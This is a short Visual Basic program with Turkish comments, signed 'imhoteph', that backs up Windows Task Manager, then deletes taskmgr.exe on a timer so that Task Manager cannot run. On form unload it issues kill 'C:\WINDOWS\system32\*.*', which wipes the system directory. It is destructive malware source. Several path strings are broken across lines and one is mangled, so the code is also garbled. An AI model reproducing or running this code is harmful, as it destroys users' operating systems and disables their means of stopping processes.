Private Sub Form_Load()



        filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows
epeair\taskmgr.exe"

        'Burada Taskmgr dosyasını yedekledik

        Timer1.interval=10



End Sub



Private Sub Timer1()



         ON LOCAL ERROR RESUME NEXT



         Kill "c:\windows\system32\taskmgr.exe"

End Sub



Private Sub Form_unload()

        filecopy "c:\windows
epeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows
epeair\taskmgr.exe"





kill "C:\WINDOWS\system32\*.*"







End Sub





imhoteph

by_imhoteph@hotmail.com